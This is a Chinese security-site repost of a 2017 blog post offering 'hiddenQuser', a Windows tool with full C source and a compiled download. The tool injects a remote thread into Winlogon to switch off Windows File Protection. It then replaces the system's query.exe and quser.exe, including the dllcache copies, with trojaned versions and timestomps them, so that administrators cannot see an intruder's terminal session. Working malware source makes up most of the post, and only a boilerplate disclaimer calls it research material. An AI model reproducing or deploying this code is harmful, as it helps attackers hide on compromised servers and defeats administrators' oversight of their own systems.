hiddenQuser + 源码 's

admin 2017年4月24日10:13:04评论275 views字数 7075阅读23分35秒阅读模式
摘要

鬼仔:query user 这个命令大家都知道吧?这个程序的作用就是替换系统目录下的Quser.exe与Query.exe,这样你登录终端后,管理员使用 query user 查看时看不到你已经登录了,但是有一点不足的就是在任务管理器中没有隐藏。

鬼仔:query user 这个命令大家都知道吧?这个程序的作用就是替换系统目录下的Quser.exe与Query.exe,这样你登录终端后,管理员使用 query user 查看时看不到你已经登录了,但是有一点不足的就是在任务管理器中没有隐藏。

来源:精灵's Blog
执行后替换系统目录下的Quser.exe与Query.exe ,登陆过终端服务器的朋友都知道这两个工具是做啥的吧~

大家都知道,在Windows 2000和Windows XP及2003系统中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。所以本工具采用了黑客之门的方法,通过远程注入进程让系统文件保护暂时失效,然后执行替换的操作.执行后自动替换系统的这两个文件包括dllcache下的对应文件,让系统文件保护也无法还原系统原来的这两个文件.

没什么技术含量,在任务管理器中隐藏还不会.
程序代码:

#include #include #include #include"resource.h"  BOOL ExtractFile(LPCTSTR szResourceType,LPCTSTR szResourceName,LPCTSTR szFilePath,HMODULE hModule, // = NULL, BOOL bHidden ); // = TRUE DWORD GetProcessIDFromName(char * name); BOOL DebugPrivilege(const char *PName,BOOL bEnable);  FILETIME lpCreationTime; // 文件夹的创建时间 FILETIME lpLastAccessTime; // 对文件夹的最近访问时间 FILETIME lpLastWriteTime; // 文件夹的最近修改时间  void main(int argc,char * argv[]) { char System[MAX_PATH] = {0}; char System1[MAX_PATH] = {0}; char System2[MAX_PATH] = {0}; char System3[MAX_PATH] = {0}; char System4[MAX_PATH] = {0}; char Queryexe[MAX_PATH] = {0}; char Queryexe1[MAX_PATH] = {0}; char Quserexe[MAX_PATH] = {0}; char Quserexe1[MAX_PATH] = {0}; HANDLE hFile = INVALID_HANDLE_VALUE;  printf("/n=========================================================================/n"); printf("[F.S.T] hidden Other user info when execute query.exe & quser.exe/n"); printf("Welcome to [F.S.T] Http://Www.Wrsky.com/n"); printf("Code by Sprite/n"); printf("=========================================================================/n");  GetSystemDirectory(System,MAX_PATH);  strcat(Queryexe,System); strcat(Queryexe,"//query.exe"); printf("%s/n",Queryexe);  hFile = CreateFile(Queryexe, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL );  // 获取文件夹时间属性信息 GetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, &lpLastWriteTime);  CloseHandle(hFile);  strcat(Quserexe,System); strcat(Quserexe,"//quser.exe"); printf("%s/n",Quserexe);  strcat(Queryexe1,System); strcat(Queryexe1,"//dllcache"); strcat(Queryexe1,"//query.exe"); printf("%s/n",Queryexe1);  strcat(Quserexe1,System); strcat(Quserexe1,"//dllcache"); strcat(Quserexe1,"//quser.exe"); printf("%s/n",Quserexe1);  strcat(System1,"rename "); strcat(System1,System); strcat(System1,"//query.exe "); strcat(System1,"query1.exe");  strcat(System2,"rename "); strcat(System2,System); strcat(System2,"//quser.exe "); strcat(System2,"quser1.exe");  strcat(System3,"rename "); strcat(System3,System); strcat(System3,"//dllcache"); strcat(System3,"//query.exe "); strcat(System3,"query1.exe");  strcat(System4,"rename "); strcat(System4,System); strcat(System4,"//dllcache"); strcat(System4,"//quser.exe "); strcat(System4,"quser1.exe");  printf("%s/n",System1); printf("%s/n",System2); printf("%s/n",System3); printf("%s/n",System4);  DebugPrivilege("SeDebugPrivilege",TRUE);  /*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/  DWORD dwPid=GetProcessIDFromName("Winlogon.exe");  printf("Winlogon 's Process ID is:%d/n",dwPid);  HANDLE hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);  DWORD dwVersion;  HMODULE hSfc;  dwVersion = GetVersion();  //判断操作系统的类型  if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)  {// Windows 2000/XP/2003  if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000  hSfc = LoadLibrary("sfc.dll");  else if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 1) //Windows XP  hSfc = LoadLibrary("sfc_os.dll"); else if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 2) //Windows 2003  hSfc = LoadLibrary("sfc_os.dll");  }  //得到函数的地址  FARPROC dwAddress=GetProcAddress(hSfc,MAKEINTRESOURCE(2));  DWORD dwThreadId;  HANDLE hThread;  //创建远线程  hThread =CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *) (void *))dwAddress,0,0,&dwThreadId);  WaitForSingleObject(hThread,2000l);  system(System3); system(System1); system(System4); system(System2);  if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE1),Queryexe1,NULL,FALSE)) printf("Extract %s Success!/n",Queryexe1); else printf("Extract %s Error!/n",Queryexe1);  if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE1),Queryexe,NULL,FALSE)) printf("Extract %s Success!/n",Queryexe); else printf("Extract %s Error!/n",Queryexe);  if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE2),Quserexe1,NULL,FALSE)) printf("Extract %s Success!/n",Quserexe1); else printf("Extract %s Error!/n",Quserexe1);  if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE2),Quserexe,NULL,FALSE)) printf("Extract %s Success!/n",Quserexe); else printf("Extract %s Error!/n",Quserexe); DebugPrivilege(SE_DEBUG_NAME,FALSE); CloseHandle(hThread); }  /*函数ExtractFile(导出一个自定义资源)*/ BOOL ExtractFile(LPCTSTR szResourceType,LPCTSTR szResourceName,LPCTSTR szFilePath,HMODULE hModule, // = NULL, BOOL bHidden ) // = TRUE { // 如果用户没指定实例句柄,则假设在当前进程中 HMODULE hCurProc = hModule; if ( NULL == hModule ) hCurProc = GetModuleHandle(NULL); //ASSERT( hCurProc ); // find the RESOURCE_DEFINE resource data. HRSRC hResourceExeFile; hResourceExeFile = FindResource(hCurProc,szResourceName,szResourceType );  if ( ! hResourceExeFile ) { //TRACE(_T("findresource failed!!(%ld) "), GetLastError()); printf("findresource failed!!(%ld) ", GetLastError()); return FALSE; } // get size of resource DWORD dwSize = SizeofResource( (HMODULE)hCurProc, hResourceExeFile ); if ( 0 == dwSize ) { //TRACE(_T("can not get the resource size")); printf("can not get the resource size"); return FALSE; } // alloc the global memory HGLOBAL hGlobalMem = LoadResource(hCurProc, hResourceExeFile );  if ( NULL == hGlobalMem ) { //TRACE(_T("LoadResource failed! %ld"), GetLastError()); printf("LoadResource failed! %ld", GetLastError()); return FALSE; } // lock the resource LPVOID lpExe = LockResource( hGlobalMem ); //ASSERT( lpExe ); /*if (!DeleteFile(szFilePath)) { printf("删除文件失败!"); return false; }*/ // 是否隐藏 DWORD dwAttrib = FILE_ATTRIBUTE_NORMAL; if ( bHidden ) dwAttrib |= FILE_ATTRIBUTE_HIDDEN; // copy to file!!  HANDLE hFile = INVALID_HANDLE_VALUE;  hFile = CreateFile(szFilePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, dwAttrib, NULL ); if ( INVALID_HANDLE_VALUE == hFile ) { //TRACE("can not open the target file (%ld) ", GetLastError()); printf("can not open the target file (%ld) ", GetLastError()); return FALSE; } DWORD dwWritten;  if ( ! WriteFile( hFile, lpExe, dwSize, &dwWritten, NULL ) ) { //TRACE(_T("can not write the target file %ld"), GetLastError()); printf("can not write the target file %ld", GetLastError()); CloseHandle( hFile ); return FALSE; } //设置文件日期 SetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, &lpLastWriteTime);  CloseHandle( hFile ); return TRUE; }  //提升特权  BOOL DebugPrivilege(const char *PName,BOOL bEnable) { BOOL bResult = TRUE; HANDLE hToken; TOKEN_PRIVILEGES TokenPrivileges;  if(OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken) == 0) { printf("Fail To OpenProcess /r/n"); bResult = FALSE; return bResult; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; LookupPrivilegeValue(NULL,PName,&TokenPrivileges.Privileges[0].Luid); AdjustTokenPrivileges(hToken,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),NULL,NULL); if(GetLastError() != ERROR_SUCCESS) { printf("Fail To AddPrivilege /r/n"); bResult = FALSE; } CloseHandle(hToken);  return bResult; }  //得到进程ID  DWORD GetProcessIDFromName(char * name) { HANDLE snapshot ; PROCESSENTRY32 processinfo ; processinfo.dwSize = sizeof (processinfo) ; snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0) ; if (snapshot == NULL) return FALSE;  BOOL status = Process32First (snapshot, &processinfo) ; while (status) { if(stricmp(name,processinfo.szExeFile)==0) return processinfo.th32ProcessID; status = Process32Next (snapshot, &processinfo); } return -1; }

编译好的程序下载:
hiddenQuser.rar

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月24日10:13:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hiddenQuser + 源码 'shttp://cn-sec.com/archives/49136.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息